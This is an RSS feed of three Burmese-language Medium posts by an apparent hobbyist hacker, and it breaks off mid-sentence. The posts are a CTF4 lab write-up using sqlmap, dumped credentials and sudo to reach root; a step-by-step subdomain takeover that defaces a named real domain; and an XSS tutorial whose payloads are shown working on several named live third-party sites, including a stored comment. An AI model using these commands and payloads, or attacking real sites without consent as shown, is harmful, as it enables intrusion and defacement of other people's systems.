<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Myo Min Thu on Medium]]></title>
        <description><![CDATA[Stories by Myo Min Thu on Medium]]></description>
        <link>https://medium.com/@myominthu1337?source=rss-40c6f5d5e166------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*6Z2PbM9LOW4GgLcqksdiFA.jpeg</url>
            <title>Stories by Myo Min Thu on Medium</title>
            <link>https://medium.com/@myominthu1337?source=rss-40c6f5d5e166------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 09:21:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@myominthu1337/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[LAMP security CTF4 Writeup]]></title>
            <link>https://medium.com/@myominthu1337/lamp-security-ctf4-writeup-a3b12a9acaf8?source=rss-40c6f5d5e166------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3b12a9acaf8</guid>
            <dc:creator><![CDATA[Myo Min Thu]]></dc:creator>
            <pubDate>Sun, 02 Jun 2019 10:57:49 GMT</pubDate>
            <atom:updated>2019-06-02T10:57:49.368Z</atom:updated>
            <content:encoded><![CDATA[<p>က်ေနာ္ LAMP security CTF4 ေလး ေျဖျကည့္မယ္ ဒါေလးက ေတာ္ေတာ္လြယ္တယ္ဗ်။ပထမဆံုး scanning က စတာေပါ့။ Machine ေလးကို active လုပ္လိုက္ေတာ့ သူက ဒါေလး ထုတ္ေပးတယ္</p><p>ctf01.root-me.org</p><p>ပထမ အဆင့္ scanning .. nmap သံုးပီး ပြင့္ေနတဲ့ port ေတြ စစ္လိုက္တယ္။</p><p>nmap ctf01.root-me.org</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/0*DQl14_ehz1WiCDbc.png" /></figure><p>port 80 ပြင့္တယ္ browser မွာဖြင့္ျကည့္လိုက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bovu1lpbyw8PQPqQ.png" /></figure><p>Vuln ရွိနိုင္လား လိုက္စမ္းျကည့္မယ္။ blog ထည့္က id ဆိုတဲ့ parameter မွာ sql vuln ရွိတယ္ဗ်။</p><p><a href="http://ctf01.root-me.org/index.html?page=blog&amp;title=Blog&amp;id=2">http://ctf01.root-me.org/index.html?page=blog&amp;title=Blog&amp;id=2</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EwF_MRI_mvHnT_J5.png" /></figure><p>sqlmap သံုးပီး data ေတြ ထုတ္ျကည့္မယ္။ အရင္ ဆံုး database ေတြအရင္ ဆြဲထုတ္မယ္။</p><p>sqlmap -u &#39;http://ctf01.root-me.org/index.html?page=blog&amp;title=Blog&amp;id=2&#39; --batch --dbs -p id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/0*eJ5QX7u0_KG123Pg.png" /></figure><p>database ေတြေတာ့ ရပီ ehks ဆိုတဲ့ database ထဲက tables ေတြ ထပ္ထုတ္မယ္။</p><p>sqlmap -u &#39;http://ctf01.root-me.org/index.html?page=blog&amp;title=Blog&amp;id=2&#39; --batch --dbs -p id -D ehks --tables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*fUNmwFJnmPOVPABo.png" /></figure><p>user ဆိုတာ table ကို ေတြ့တယ္ဗ်။ အာ့ထဲက data ေတြ dump မယ္။</p><p>sqlmap -u &#39;http://ctf01.root-me.org/index.html?page=blog&amp;title=Blog&amp;id=2&#39; --batch --dbs -p id -D ehks -T user --dump</p><p>+---------+-----------+--------------------------------------------------+<br>| user_id | user_name | user_pass |<br>+---------+-----------+--------------------------------------------------+<br>| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |<br>| 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |<br>| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |<br>| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |<br>| 5 | sorzek | e0a23947029316880c29e8533d8662a3 (convertible) |<br>| 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |<br>+---------+-----------+--------------------------------------------------+</p><p>ခုလို username နဲ့ password ေတြရလာပီ ခုန ssh ပြင့္ေနတာ ssh မွာ login ဝင္ျကည့္မယ္။</p><p>ssh dstevens@ctf01.root-me.org<br>password : ilike2surf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/0*Oxvmca6wb0hfbYog.png" /></figure><p>အဆင္ေျပသြားပီး priv esc လုပ္မယ္။ priv esc လုပ္မယ္ဆို ပထမဆံုး sudo -l ကိုရိုက္ျကည့္သင့္ပါတယ္။ sudo -l ကို ရိုက္ျကည့္ေတာ့ (ALL) ALL တဲ့ သူက ျကိုက္တဲ့ command ကို root အေနနဲ့ run လို့ရတယ္။ အာ့ေျကာင့္ က်ေနာ္က sudo su ဆိုပီး root user ေျပာင္းလိုက္တယ္။ သူက password ေတာင္းရင္ ခုန ilike2surf ကိုပဲ ျပန္ထည့္ေပးလိုက္ပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1Mo41gMjrMPajTpL.png" /></figure><p>ဒါ့ဒါ root access ရပီ ။ ဒါေလးက လြယ္ပါတယ္ လိုက္ေျဖျကည့္ျက ..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3b12a9acaf8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain Takeover Tutorial]]></title>
            <link>https://medium.com/@myominthu1337/subdomain-takeover-tutorial-60477759d418?source=rss-40c6f5d5e166------2</link>
            <guid isPermaLink="false">https://medium.com/p/60477759d418</guid>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[Myo Min Thu]]></dc:creator>
            <pubDate>Thu, 25 Apr 2019 02:38:44 GMT</pubDate>
            <atom:updated>2019-04-25T02:38:44.846Z</atom:updated>
            <content:encoded><![CDATA[<p>စိတ္ကူးေပါက္တုန္းေလး subdomain takeover ေလးေရးလိုက္အံုးမည္။ က်ေနာ္ website ေလးတစ္ခုေရြးထားတာကေတာ့ asierba.net ေလးပဲ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*teZh1DtdFDX2t87R" /></figure><p>ပထမဆံုး subdomain ေတြကို က်ေနာ္ sublist3r သံုးပီး ဆြဲထုတ္လုိက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*iFivU9ihcFUcYsfI" /></figure><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.asierba.net%2F%3Ffbclid%3DIwAR3jn4Y0YNrJ_rg5YwZhhJaIKHBIkk6TGSKXx8-nL-H_MGq-FrbZQKwqSWE&amp;h=AT1_NE1kyButscSDlwoBcm2xAj9IjQlU6v51OSfJzSD6s4xT0F4OyLB-upsgquowDnDdpXy8d9hnzPz64v4SpBa68-zrDyg-qhT84Liv1Z7ZXyOQ9FtEZ0LqWCtcpw">www.asierba.net</a></p><p>hostmaster.asierba.net</p><p>HTTP Status ေလးေတြတစ္ခ်က္စစ္ျကည့္လိုက္မယ္။ က်ေနာ္ကေတာ့ online tool ေလးသံုးပါတယ္။ <a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fhttpstatus.io%2F%3Ffbclid%3DIwAR39RJqTSliAKZM6tdlZKogPljJxo0LgDpIdvNlJoCm7DWmd_IiWI98rmdE&amp;h=AT23loYdkmrfjbd1lo4E-V6xHUm96dTEU0Jc61vP0D9fdPmDQGRomthyRjGSNE3fCMpSbOpLe4e9GveiFG7SPy911aUyVVCFOvB97bbirb8QPhoIDQVtPPoOMnZkvw">http://httpstatus.io</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*uussJGw0mR514S3a" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IWKIK0RLPCnpep62" /></figure><p>hostmaster.asierba.net က 404 ျဖစ္ေနတယ္။ က်ေနာ္သြားျကည့္လိုက္တဲ့အခါ ခုလို github error page ရတယ္ဗ်။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9LMqYAgj6SCAuSd9" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/0*d__6vCaFDR_W73c9" /></figure><p>github ကေန ဒီ subdomain ကို cname ျပန္ညြွန္းပီး deface ျကည့္မယ္။Github account ေတာ့လိုတယ္ဗ် ဖြင့္ထားလိုက္ေပါ့။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*QPMoM3u_ihqyJ-1M" /></figure><p>New Repository တစ္ခုတည္ေဆာက္လိုက္ပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bI0Zadh9INmfqKdo" /></figure><p>Name ကေတာ့ ျကိုက္တာေပးေပါ့ ။ Initialize this repository with a README မွာ အမွန္ျခစ္ေလးေပးျပီး Create Repository လိုက္ပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/0*5gxxuVitjVQpmc-V" /></figure><p>Create New File နိပ္လိုက္ပါ။ Deface Page ေလးလုပ္ရေအာင္လို့</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/0*ItWagrzaI275snBO" /></figure><p>File name ကိုေတာ့ က်ေနာ္က index.html ေပးထားတယ္ index မွာပဲအုပ္မယ္။ အထဲမာ deface code ထည့္လိုက္တယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DJCNzVZkIY59zWjU" /></figure><p>Commit new file နိပ္ပီး save ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tZYao7VITI1WNz88" /></figure><p>က်ေနာ္တို့ settings ကို သြားလိုက္ပါ ခုနအဆင့္ေတြျပီးရင္</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/0*BIxeJL4NTWG-oPe1" /></figure><p>Source က None ေနရာမွာ master branch ကို ေျပာင္းလိုက္ပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*14iLVhA3BFBsBZYb" /></figure><p>custom domain ေနရာမွာ ခုန 404 ျဖစ္ေနတဲ့ subdomain ကို ထည့္ပီး save လိုက္ပါ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*23NBVmEUhhryvr0S" /></figure><p>Custom domain saved လို့ ခုလိုစာေလးေပါ္လာဆင္ေျပပါျပီ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/0*1N3SJTZI5v0sk-Tf" /></figure><p>ခုန file ေတထဲမာ ခုလို CNAME file ေလး auto create ေပးလိုက္တာ ေတြ့ရမာပါ ။ ခုန domain ကို သြားျကည့္လိုက္လို့ရပါပီ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BxhIxtTZZ43uAVe7" /></figure><p>ေက်းဇူးတင္ပါတယ္။</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60477759d418" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-Site Scripting (XSS)]]></title>
            <link>https://medium.com/@myominthu1337/cross-site-scripting-xss-6a4fc16f25ba?source=rss-40c6f5d5e166------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a4fc16f25ba</guid>
            <category><![CDATA[blind-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Myo Min Thu]]></dc:creator>
            <pubDate>Thu, 25 Apr 2019 02:34:13 GMT</pubDate>
            <atom:updated>2019-04-25T02:34:13.557Z</atom:updated>
            <content:encoded><![CDATA[<p>What is XSS</p><p>XSS ဆိုတာ Attacker က Web Application ဆီကို Malicious Data ေတြေပးပို့ိလိုက္တဲ့အခါ Web Application က လက္ခံရရွိလာတဲ့ Data ေတြကို Filter မလုပ္ပဲ ျပန္လည္ Response လုပ္တဲ့ အတြက္ ျဖစ္လာရတာပါ။ အကယ္လို့့ Filter လုပ္ထားရင္ေရာ XSS လုပ္လို့မရေတာ့ပုလားဆိုေတာ့ က်န္ေတာ္တို့ Filter ေတြကို Bypass လုပ္ပီး Attack လို့ ရပါေသးတယ္:3 အေရးျကီးတာ Skill ပဲေလ</p><p>Website 10 ခုမွာ 6 ခုေလာက္က XSS ေပါက္တာ ေတြ့ရတယ္။ XSS က Web Attacking Method မွာ No-1 ေနရာယူထားတာဆိုေတာ့ ကာ Hacking ကို စတင္ေလ့လာေနတဲ့ တစ္ေယာက္ အေနနဲ့ မတတ္လို့ မျဖစ္ တတ္ထားသင့္ပါတယ္။</p><p>XSS ကို အျကမ္းဖ်င္း အားျဖင့္ သံုးမ်ိုး ခြဲျခားထားပါတယ္။</p><p>1. Reflected or Non-Persistent XSS <br> 2. Stored or Persistent XSS <br> 3. DOM Based XSS</p><p>ေနာက္ထပ္ XSS အမ်ိုးအစားေတြလဲ ရွိပါေသးတယ္။</p><p><strong>1. Reflected or Non-Persistent XSS</strong></p><p>ဒီ Method ကေတာ့ attacker က browser(cilent) ကေန တဆင့္ malicious code ေတြကို ေပးပို့ လိုက္တယ္။ Server ကေန data ေတြကို လက္ခံျပီး Filter မလုပ္ပဲ Browser(cilent) ဆီကို ျပန္လည္ေပးပို့တယ္။ ဒီ နည္းလမ္း ကေတာ့ malicious code ေတြက database ထဲထိမေရာက္ပါဘူး။ Browser(cient) နဲ့ Server ျကားပဲအလုပ္ လုပ္သြားမွာပါ။ Reflected XSS မွာ ဆိုရင္ က်န္ေတာ္တို့က url မွာ malicious code ေတြပါဝင္ေနမွ သာ အလုပ္လုပ္မွာပါ။က်န္ေတာ္ Demo ေလးေတြေရးေရးလုပ္ျပပါ့မယ္။</p><pre>&lt;?php$data = $_GET[&#39;name&#39;];echo &quot;Your Name is &quot;.$data;?&gt;<br>&lt;form action=&quot;reflected.php&quot; method=&quot;get&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;name&quot; placeholder=&quot;Enter your name&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;&lt;/form&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/0*lB93pAUV5bXP9lgy" /></figure><p>ရုိးရိုးေလးပါပဲ က်န္ေတာ္တို့က input ထဲကို data ထည့္မယ္ ျပီးေတာ့ အာ့ ထည့္လိုက္တဲ့ data ေတြကို ဘာ filter မွ မခံပဲ ျပန္ထုတ္ေပးမယ္။ဒါဆို ဘာေတြျဖစ္လာနိုင္လဲ ျကည့္ျကမယ္။ပထမက်န္ေတာ္နမည္ ကိုပဲထည့္ျကည့္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/0*XuvbMtMEKzf_DWX9" /></figure><p>အိုေက ဘာမမျဖစ္ပု ။က်န္ေတာ္တို့က alert ထြက္ေစမဲ့ javascript code &lt;script&gt;alert(“xss”)&lt;/script&gt; ထည့္လိုက္မယ္ ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bUbsi5KMwwfPAoS5" /></figure><p>alert ထြက္လာျပီ ဘာလို့လဲဆိုေတာ့ သူက ဘာမ filter မလုပ္ပဲ မူရင္းတိုင္း response လုပ္ေတာ့ ေရွာ့ေတျဖစ္ကုန္တာေပါ့။source code ေဖာ္ျကည့္လိုက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/0*k2vmPU0Tv9gQNFxI" /></figure><p>က်န္ေတာ္ထည့္လိုက္တဲ့ &lt;script&gt;alert(“xss”)&lt;/script&gt; ေလးဝင္ေနတာေတြ့လား။ ဒါကိုေတာ့ Reflected XSS လို့ေခါ္ပါတယ္။ urlမွာ က်န္ေတာ္တို့ရဲ့ evil code ေတြမပါပဲ အလုပ္လုပ္မွာ မဟုတ္ပါဖူး။</p><p><strong>2. Stored or Persistent XSS</strong></p><p>ဒီ method ကေတာ့ ေပးပုိ့လိုက္တ့ဲ malicious code ေတြကို Server ကေန တစ္ဆင့္ Filter မလုပ္ပဲ database ဆီ ပို့ ေပးတယ္။ Database ကေနမွ တဆင့္ Server ဆီကို ျပန္ပုိ့ေပး Server ကေနမွ တဆင့္ Browser(client) ဆီကို ျပန္ ေပးပို့ေပးတာပါ။ သူကေတာ့ database ထဲထိေရာက္သြားတဲ့ တြက္ Site ကို လာေရာက္သူမွန္သမ်ွ ကို evil code ေတြ url မွာမပါလဲ effect သက္ ေ၇ာက္ေနမွာပါ။ဒီတစ္ခါ demo ကို real world မွာ လုပ္ျပပါ့မယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.hihowareyou.com%2Fnews%2Fview%2F61%3Ffbclid%3DIwAR1Yr_zgoFig7mmxbUBTgEz3GFDSlHDCuuo3GjwZ1Z9r_vvkdpNHmE6jIHc&amp;h=AT1pg-ZRc7YnQADIu3rknKkgRtJdzHu9s-yfhZxuN_x0-dS1VzvTsPWsjqd0r4QQ73ZzmvJeINQvkb-zve-w1qhzJvDml3_0t1u7WdY676FCGJG2AJt75uKFGTUbDQ">http://www.hihowareyou.com/news/view/61</a></p><p>က်န္ေတာ္တို့ comment ေပးတဲ့ေနရာမွာ ရိုးရုိးစာသားမထည့္ပဲ js code ေတြထည့္ေပးလိုက္ပါမယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rR6qJd_qCkOiQrfd" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9AhtqqNnmuzYyVbh" /></figure><p>က်န္ေတာ္တို့ site ကိုလာသမ်ွလူတိုင္းကို alert ျပေနမွာပါ။ ဘာလို့ stored xss လို့ေခါ္လဲ သေဘာေပါက္ေလာက္ပီထင္ပါတယ္။</p><p><strong>3.DOM-Based XSS</strong></p><p>ဒီ method ကျက ေပးပုိ့လိုက္တဲ့ dataေတြကို Browser မွာတင္အလုပ္လုပ္ပီး ျပန္ response လုပ္တာပါ။ Server ဆီလဲ မေရာက္သလို database ထဲထိလဲ မေရာက္ပါပု JavaScript လို language တစ္ခုကို သံုးပီး Browser မွာတင္ Javascript ကိုသံုးပီး အလုပ္ လုပ္သြားတာပါ။ ဥပမာ တစ္ခုျပပါ့မယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.rtrfoundation.org%2Fsearch.php%3FtxtTown%3DTest%26fbclid%3DIwAR09ZRub7Fba3do8MaUJ_qCD4CdKUzq1Zj7NhBhTkjAn4mKvrZ72sbdo4ak&amp;h=AT0tcXEmnSlCb-3Bh6Q_IJuDm_tvF6CJvX0avmBfSRkZiCm9yl6U50IPtpxgwhJJJETdhNOKv6b3-qhgfY-toXwmp-NZ1gu2fmBvn5j0Fu5H8Cgum5TVi4IPyxNJdw">http://www.rtrfoundation.org/search.php?txtTown=Test</a></p><p>js alert code ထည့္တယ္ ထြက္မလာပု ဘာ alert မွ</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fwww.rtrfoundation.org%2Fsearch.php%3FtxtTown%3D%253Cscript%253Ealert%2528%2522xss%2522%2529%253C%252Fscript%253E%26fbclid%3DIwAR00KwCQBkFKGK4n1a93p5yZcxyBzOfzdHQVpL6I8SuXqchr3AzcXX72TOI&amp;h=AT0OPZ_NoiGJ0V8ZsSDlu-hmX50ZKj8ye37crwHppI7_aVmCxW9J3-N4erxN5KQFtVuxRgY2QBraWHrUn0aS9uLNtHeYSjINiuBrmMMY6IYEEVQxLhRFY2k4NcP4Dg">http://www.rtrfoundation.org/search.php?txtTown=%3Cscript%3Ealert(%22xss%22)%3C/script%3E</a></p><p>source code ေဖာ္ျကည့္လိုက္ေတာ့</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/0*x4gEiE2xjJLuXEbp" /></figure><p>က်န္ေတာ္တို့ရဲ့ js code က ခုလိုဝင္သြားတာ ဒါေျကာင့္မို့ code ေတြ သူ့ဟာနဲ့သူ fix ေအာင္ျပင္ထည့္ေပးရမယ္။ က်န္ေတာ္ payload တစ္ခုေရးလိုက္ပါတယ္။ a’;alert(“xss”);// ထည့္လိုက္မယ္ ။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bE2DUmDM_OXykwjB" /></figure><p>ok alert ထြက္သြားျပီ ။ source code တစ္ခ်က္ျပန္ျကည့္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/0*waVq3_XsBE0KQsJR" /></figure><p>ခုလို js code ေလးက သူ့ေနရာနဲ့သူ အံဝင္ခြင္က်ျဖစ္သြားပါျပီ။က်န္ေတာ္ဒီေနရာမွာ တစ္ခ်က္ေျပာခ်င္တာက xss ကိုတစ္ကယ္ တတ္ခ်င္ရင္ javascript ကို အနဲအက်င္းေလာက္ေတာ့သိေအာင္အရင္ လုပ္သင့္ပါတယ္။ဘာမွန္းမသိ ရမ္းထည့္ payload ေတြ copy ယူထည့္alert ထြက္တာကေတာ့ကေလးေတာင္ လုပ္တတ္တယ္ေလေနာ္။</p><p><strong>4. Redirect XSS</strong></p><p>သူကေတာ့ ရွင္းပါတယ္။ ခင္ဗ်ားတို့ website တစ္ခုကို သြားရင္ အာ့ website ကေန တစ္ျခား website တစ္ခုကို ပို့လိုက္ တာ redirect ပါပဲ အာ့လိုေနရာေတြမွာလဲ xss ေပါက္နိုင္ပါတယ္။ ဥပမာ တစ္ခုနဲ့ လုပ္ျကည့္မယ္။</p><p><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fforceforchange.starwars.com%2Fleaving%2F%3Furl%3Dhttps%253A%252F%252Fwww.crowdrise.com%252Fforceforchange%26fbclid%3DIwAR1C9e4xuRe8B9EeM03CjgVNl9eAebLBVrKxlIuOjkQPAxzaKMTeSl360HE&amp;h=AT1DhHokvsNqMP9hDtBXy8E3AELcj43OvRY5XePHpg6wOwFYc7R1X4fGINPiPUZUfPqXImsIS2gU3-h8OTW7HoDIxwCEJ_6UgMiu8AGVyBxJov6_Zas6nH9JtaO4Bg">https://forceforchange.starwars.com/leaving/?url=https://www.crowdrise.com/forceforchange</a></p><p>url= ေနာက္က site ေနရာမွာ javascript:alert(“xss”) ေလးထည့္ေပးလိုက္တယ္။</p><p><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fforceforchange.starwars.com%2Fleaving%2F%3Furl%3Djavascript%253Aalert%2528%2522xss%2522%2529%26fbclid%3DIwAR0QqCAee64qlgUthMmsbhkCL1KZ72e7o9QDnMy_lEJYrAIGC4vF-gal03o&amp;h=AT2jn9hb5acuiLUsB6-edi9kosyZ-tvMaVYNH42zGdte3zFgm3v1pJxiIDb-CQ0r4QERU92ncVyaZQ73OLboNeFgmuls1sX3w6ql55vpi96kHEtU9P80CRlKe89Qng">https://forceforchange.starwars.com/leaving/?url=javascript:alert(%22xss%22)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Axmpa28TzLVoyPLf" /></figure><p>နားလည္ေလာက္မယ္ထင္ပါတယ္။</p><p><strong>5. PHPSELF XSS</strong></p><p>သူူကေတာ့ path လမ္းေျကာင္းေတြကို overwrite လုပ္ပီး evil code ထည့္လိုက္တာပါ။ &lt;form action=&lt;?php $_SERVER[‘PHP_SELF’];?&gt; သံုးတာနဲ့ ေပါက္နိုင္ေခ်မ်ာပါတယ္။ ဥပမာ တစ္ခု လုပ္ျပမယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fryersonindex.net%2Fsearch.php%3Ffbclid%3DIwAR3IM0D_hT4zWgJD3CbWLnL6zt19es3LL4NMjs2BmuNE6hFHJ2sqAFbSxX4&amp;h=AT1UnN3N1JLeoAeyQbi34mKOck8xPSDmmJwmFuNMMsLsOBuMlg6sZ9UQpfla6UkXh_nxDPhq1RhT62DBOyhBUEylNWPNmP3yvQRM8YW_4fg37WxDesiIfDQ_xo07nQ">http://ryersonindex.net/search.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/0*6DfgdHKIFRNnqCl1" /></figure><p>source code ကိုျကည့္လိုက္ပါ action မွာ /search.php လို့ျဖစ္ေနပါတယ္ ဒါကို ျကည့္ရတာ phpself သံုးထားတယ္ထင္လို့ overwrite လုပ္ျကည့္တယ္</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fryersonindex.net%2Fsearch.php%2F%2522%253E%253Cscript%253Ealert%28%2522xss%2522%29%253C%2Fscript%253E%3Ffbclid%3DIwAR1gwB_eq1Ks18Ml-ONz8NUkbA3EGLnKxLngwLEYsllAUOPqYIvaWQG5WPY&amp;h=AT36iKiYMEyLw2JnzkSMjHznfgy4GaeiIHtQfHUg3npOe1nPG2-IB8Q78F4u1Xg0QlWyXDsj-zT748PsBYhrMaEv8amx0iNotoWeqp1QxaumHipthrRCXf9mPl4D1A">http://ryersonindex.net/search.php/%22%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jULavGOxlK2V6wmp" /></figure><p>okey သြားတယ္ source code ကိုတစ္ခ်က္ show လိုက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*Gy4AHkQKacxVmM6h" /></figure><p><strong>6. File Upload XSS</strong></p><p>File Upload တင္တဲ့ေနရာမွာ က်န္ေတာ္တို့ က file name ကို “&gt;&lt;svg onload=prompt(1)&gt;.txt စသည္ျဖင့္ေပး ျပီးUpload တင္လိုက္ရင္ လဲရနိုင္တာပဲေလေနာ့ ။Hacking မွာ ပံုေသမွတ္ရင္ေတာ့ ခံသြားရမွာပဲ။ ဥပမာ တစ္siteလုပ္ ျပမယ္။</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2Fnapcooman.com%2Fassets%2Fkcfinder%2Fbrowse.php%3Ffbclid%3DIwAR0Md-OsEl5Vm2fLxnK5MxOja57N3-v5OMTwpoNG74iJbDA6XlS6wU6mtk4&amp;h=AT2xKtenjO8ZCZjeNTUl9h7LP2oBJfBFK2GT-dkFMXT67FbvZfZx3UPGNonh26bo0bKleSmA5kCsxcxtk-JrXGlE7uUiSww3WWnEie--Xm-8lmr3tvAYSuRST1hzkw">http://napcooman.com/assets/kcfinder/browse.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/0*uHTRL9If63o9BWKb" /></figure><p>upload တင္လိုက္မယ္။</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-BfYh-b6_Q5H4a4X" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1oD_XN5ZG1FKHm9f" /></figure><p>okey ဒါကေတာ့ file upload xss ပါ။နားလည္မယ္ထင္ပါတယ္။</p><p><strong>7. SVG File Upload XSS</strong></p><p>Svg file upload တင္လို့ရတဲ့ site ေတြမွာ လဲ xss ေပါက္နိုင္ပါတယ္။</p><p>&lt;?xml version=”1.0&quot; standalone=”no”?&gt;</p><p>&lt;!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “<a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%3Ffbclid%3DIwAR16kdFo_B-zWzLhR4WY4nhcs8XxU060RhvTDa0kUs444IsmqcMl_AcqBCQ&amp;h=AT2Lvd1QMF_NVw2KcHNa37Ulig-2C9WLpgGcSCCkTxqt3YYuKY48_CUJIcboduGRYSc7KMeKdW7VIvJgFJh8OUCrbIMWdGg2wgZoPhnlr27ryhv1BLeg-1BeKPfyUA">http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd</a>&quot;&gt;</p><p>&lt;svg version=”1.1&quot; baseProfile=”full” xmlns=”<a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%3Ffbclid%3DIwAR3AvOr-LI4v0ZnfzM2bmAUuwOgtHMnrfqT5xzZfDG6Wy9-76KZpwpafnJk&amp;h=AT34iIqcgeb1lBZ5rdmYIRX-iTbBbpO1Gb2odfwYk_gUVqwgi4fnGEx7Kukl4LAN9puV6rNmTsG71LQsBJ4O1bN0thQKZlrIkw2-MawFtNgHoteOZ31d_u5RDFsDuQ">http://www.w3.org/2000/svg</a>&quot;&gt;</p><p>&lt;polygon id=”triangle” points=”0,0 0,50 50,0&quot; fill=”#009900&quot; stroke=”#004400&quot;/&gt;</p><p>&lt;script type=”text/javascript”&gt;</p><p>alert(“XSS”);</p><p>&lt;/script&gt;</p><p>&lt;/svg&gt;</p><p>xss.svg လို့ save လိုက္ပါ။</p><p>Demo အေနနဲ့ <a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fsvgur.com%2F%3Ffbclid%3DIwAR07EF7W04kYQECFyw-BW00JSd8_freH2l24KgtVHMntuePd8IsrjTc2YJw&amp;h=AT1mqDK_oVGTvXWfHkSZedMKbsCWVQ1-OO0P8hteVO6BCuMeIUUZs2XY78iv1Rnmoahhw5h_npG9Io6ieTHOiGoZepOLdN5cq2Xup54-jWGT6E_Qrqv7iTpND2ui5w">https://svgur.com/</a> ဒီ site 